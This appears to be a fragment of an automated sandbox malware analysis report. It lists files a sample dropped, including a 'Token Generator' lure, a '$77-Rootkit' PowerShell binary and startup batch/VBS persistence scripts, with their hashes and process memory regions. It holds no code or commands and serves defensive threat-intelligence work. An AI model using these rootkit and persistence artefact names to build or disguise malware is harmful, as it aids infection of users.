                                                                                                                    eb15ee5741b379245ca8549cb0d4ecf8

                                                                                                                    SHA1

                                                                                                                    3555273945abda3402674aea7a4bff65eb71a783

                                                                                                                    SHA256

                                                                                                                    b605e00d6056ae84f253f22adf37d6561a86d230c26fba8bfb39943c66e27636

                                                                                                                    SHA512

                                                                                                                    1f71fe8b6027feb07050715107039da89bb3ed5d32da9dca0138c393e0d705ebf3533bcccec49e70a44e0ec0c07809aef6befa097ad4ced18ca17ae98e6df0e4

                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\Install.exe

                                                                                                                    Filesize

                                                                                                                    163KB

                                                                                                                    MD5

                                                                                                                    b51552b77057c2405f73bbbf9c89234a

                                                                                                                    SHA1

                                                                                                                    4793adbba023f90d2d2ad0ec55199c56de815224

                                                                                                                    SHA256

                                                                                                                    720e6962d75e37e8b47b160c5b3f60433a341f00abf60041630116b26858fbb0

                                                                                                                    SHA512

                                                                                                                    564f4104e6e398eeef8acc7ce7cab694b6eebbe4233b7cb359829242b949dc7c5bf124a550a4d0402eb7da19b8bec6c1f6753563b17a8ae36fb639be595b8d66

                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\Token Generator.exe

                                                                                                                    Filesize

                                                                                                                    3.1MB

                                                                                                                    MD5

                                                                                                                    6d2ad4ada4961027832e557db06fc08d

                                                                                                                    SHA1

                                                                                                                    816018499f5e291850d7dd2a0d15c914e5607630

                                                                                                                    SHA256

                                                                                                                    139ce0f6ed1d745a6776f831c641b2b30bb8d48ecd9c198a0b4bd8489899f60e

                                                                                                                    SHA512

                                                                                                                    1d99985c99fa16f712eee5604279463e18e77532e7a1586651178685ef38ba25b099c393edc44f2703d7e9f4ce7596b86ba3d9f0e00119e13474816a2186f241

                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_buahprqs.rpa.ps1

                                                                                                                    Filesize

                                                                                                                    60B

                                                                                                                    MD5

                                                                                                                    d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                    SHA1

                                                                                                                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                    SHA256

                                                                                                                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                    SHA512

                                                                                                                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                  • C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe

                                                                                                                    Filesize

                                                                                                                    440KB

                                                                                                                    MD5

                                                                                                                    0e9ccd796e251916133392539572a374

                                                                                                                    SHA1

                                                                                                                    eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

                                                                                                                    SHA256

                                                                                                                    c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

                                                                                                                    SHA512

                                                                                                                    e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

                                                                                                                  • C:\Users\Admin\AppData\Roaming\startup_str_520.bat

                                                                                                                    Filesize

                                                                                                                    3.5MB

                                                                                                                    MD5

                                                                                                                    e984ebea899379a8c0a47f9308c7370b

                                                                                                                    SHA1

                                                                                                                    863330006bef4c55a1bc79771ae989dc0412f717

                                                                                                                    SHA256

                                                                                                                    9f413ae8218ec74eb61a052e1c2b8b27f8ee7038902db5aaea9c93e0752fa48b

                                                                                                                    SHA512

                                                                                                                    70934def86e93b350e72711e757cbe0a97a9a58259f184e2c97aeea3a2b9f016bb03e4fb499f3876248bfb43edec5e3949599448d95235afcb1b46d71362b975

                                                                                                                  • C:\Users\Admin\AppData\Roaming\startup_str_520.vbs

                                                                                                                    Filesize

                                                                                                                    115B

                                                                                                                    MD5

                                                                                                                    ad41673e76bc43131e958f4706b4e25d

                                                                                                                    SHA1

                                                                                                                    0f4449fa9e177328931dba068bc22739d553fcb9

                                                                                                                    SHA256

                                                                                                                    b09f12cd88f173a0e3a759b34d3defd5277a87e73af643a19a5af5d3b41bef35

                                                                                                                    SHA512

                                                                                                                    ff7f216d09a67c3dc371b06288c1e9594741f8bee3cdc895bca9a9d25eba7909b7954f1155d829ea0861adbca1c4b62f5eb606160a18de7fbb672e233045e5d1

                                                                                                                  • C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

                                                                                                                    Filesize

                                                                                                                    338B

                                                                                                                    MD5

                                                                                                                    ff78083b672a56a3981c1453f7eb4b4c

                                                                                                                    SHA1

                                                                                                                    4953210d5a3e6ed72a8f259288ad9aca47ad1278

                                                                                                                    SHA256

                                                                                                                    ccd74c04d87f2cd7d6d30a2f55e6efc644f12ef4fc3dee71d7518a6e9117558c

                                                                                                                    SHA512

                                                                                                                    17a99eaf95a887ccb57332650397d77a7a1b1452b179f7452c07fbfeba9c4d69505adedb2413007869496075ef1569f2da28ac569cb772e0f90d6a59ad5b2afc

                                                                                                                  • C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187

                                                                                                                    Filesize

                                                                                                                    412B

                                                                                                                    MD5

                                                                                                                    927a161f3652533ce1bf9200b563305e

                                                                                                                    SHA1

                                                                                                                    961dd03f67bbc328f1d436ae41e613e7c07d339b

                                                                                                                    SHA256

                                                                                                                    f51e58a04b87b80653c3ad8430799ebdaf6dfc93687ce62b56f4fe529480bc69

                                                                                                                    SHA512

                                                                                                                    4f75142bd13594581a8c0350fe98b9ed77eb83681de9d2a936f687b15cc7bc8c38566a7ba76890666bd889fbf9222b71bb63288e5b5f16989e13b8ca9184d02f

                                                                                                                  • memory/480-142-0x0000018C78210000-0x0000018C7823A000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    168KB

                                                                                                                  • memory/480-147-0x0000018C78210000-0x0000018C7823A000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    168KB

                                                                                                                  • memory/480-148-0x00007FFD0DB90000-0x00007FFD0DBA0000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    64KB

                                                                                                                  • memory/636-110-0x000001CC68CC0000-0x000001CC68CE5000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    148KB

                                                                                                                  • memory/636-111-0x000001CC68CF0000-0x000001CC68D1A000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    168KB

                                                                                                                  • memory/636-112-0x000001CC68CF0000-0x000001CC68D1A000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    168KB

                                                                                                                  • memory/636-117-0x000001CC68CF0000-0x000001CC68D1A000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    168KB

                                                                                                                  • memory/636-118-0x00007FFD0DB90000-0x00007FFD0DBA0000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    64KB

                                                                                                                  • memory/692-127-0x000001536E570000-0x000001536E59A000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    168KB

                                                                                                                  • memory/692-122-0x000001536E570000-0x000001536E59A000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    168KB

                                                                                                                  • memory/692-128-0x00007FFD0DB90000-0x00007FFD0DBA0000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    64KB

                                                                                                                  • memory/716-152-0x00000234B8290000-0x00000234B82BA000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    168KB

                                                                                                                  • memory/716-157-0x00000234B8290000-0x00000234B82BA000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    168KB

                                                                                                                  • memory/716-158-0x00007FFD0DB90000-0x00007FFD0DBA0000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    64KB

                                                                                                                  • memory/992-137-0x000001CA27F60000-0x000001CA27F8A000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    168KB

                                                                                                                  • memory/992-138-0x00007FFD0DB90000-0x00007FFD0DBA0000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    64KB

                                                                                                                  • memory/992-132-0x000001CA27F60000-0x000001CA27F8A000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    168KB

                                                                                                                  • memory/1696-63-0x0000000000900000-0x0000000000C24000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    3.1MB

                                                                                                                  • memory/1776-52-0x00000117FD2D0000-0x00000117FD5F4000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    3.1MB

                                                                                                                  • memory/3024-97-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    32KB

                                                                                                                  • memory/3024-102-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    32KB

                                                                                                                  • memory/3024-99-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    32KB

                                                                                                                  • memory/3024-98-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    32KB

                                                                                                                  • memory/3024-100-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    32KB

                                                                                                                  • memory/3024-107-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    32KB

                                                                                                                  • memory/3024-106-0x00007FFD4BA50000-0x00007FFD4BB0D000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    756KB

                                                                                                                  • memory/3024-105-0x00007FFD4DB00000-0x00007FFD4DD09000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    2.0MB

                                                                                                                  • memory/3332-25-0x00007FFD2CCF0000-0x00007FFD2D7B2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    10.8MB

                                                                                                                  • memory/3332-24-0x00007FFD2CCF0000-0x00007FFD2D7B2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    10.8MB

                                                                                                                  • memory/3332-30-0x00007FFD2CCF0000-0x00007FFD2D7B2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    10.8MB

                                                                                                                  • memory/3332-26-0x00007FFD2CCF0000-0x00007FFD2D7B2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    10.8MB

                                                                                                                  • memory/3332-27-0x00007FFD2CCF0000-0x00007FFD2D7B2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    10.8MB

                                                                                                                  • memory/3400-92-0x000000001C5F0000-0x000000001C602000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    72KB

                                                                                                                  • memory/3400-93-0x000000001CD80000-0x000000001CDBC000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    240KB

                                                                                                                  • memory/3400-81-0x000000001C670000-0x000000001C722000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    712KB

                                                                                                                  • memory/3400-80-0x000000001C560000-0x000000001C5B0000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    320KB

                                                                                                                  • memory/3748-96-0x00007FFD4BA50000-0x00007FFD4BB0D000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    756KB

                                                                                                                  • memory/3748-95-0x00007FFD4DB00000-0x00007FFD4DD09000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    2.0MB

                                                                                                                  • memory/3748-94-0x000001E8E0D40000-0x000001E8E0D6A000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    168KB

                                                                                                                  • memory/4568-11-0x00007FFD2CCF0000-0x00007FFD2D7B2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    10.8MB

                                                                                                                  • memory/4568-0-0x00007FFD2CCF3000-0x00007FFD2CCF5000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/4568-14-0x000002A947A70000-0x000002A947F0E000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4.6MB

                                                                                                                  • memory/4568-13-0x000002A90F130000-0x000002A90F138000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    32KB

                                                                                                                  • memory/4568-12-0x00007FFD2CCF0000-0x00007FFD2D7B2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    10.8MB

                                                                                                                  • memory/4568-732-0x00007FFD2CCF3000-0x00007FFD2CCF5000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/4568-733-0x00007FFD2CCF0000-0x00007FFD2D7B2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    10.8MB

                                                                                                                  • memory/4568-9-0x000002A927510000-0x000002A927532000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    136KB

                                                                                                                  • memory/4568-10-0x00007FFD2CCF0000-0x00007FFD2D7B2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    10.8MB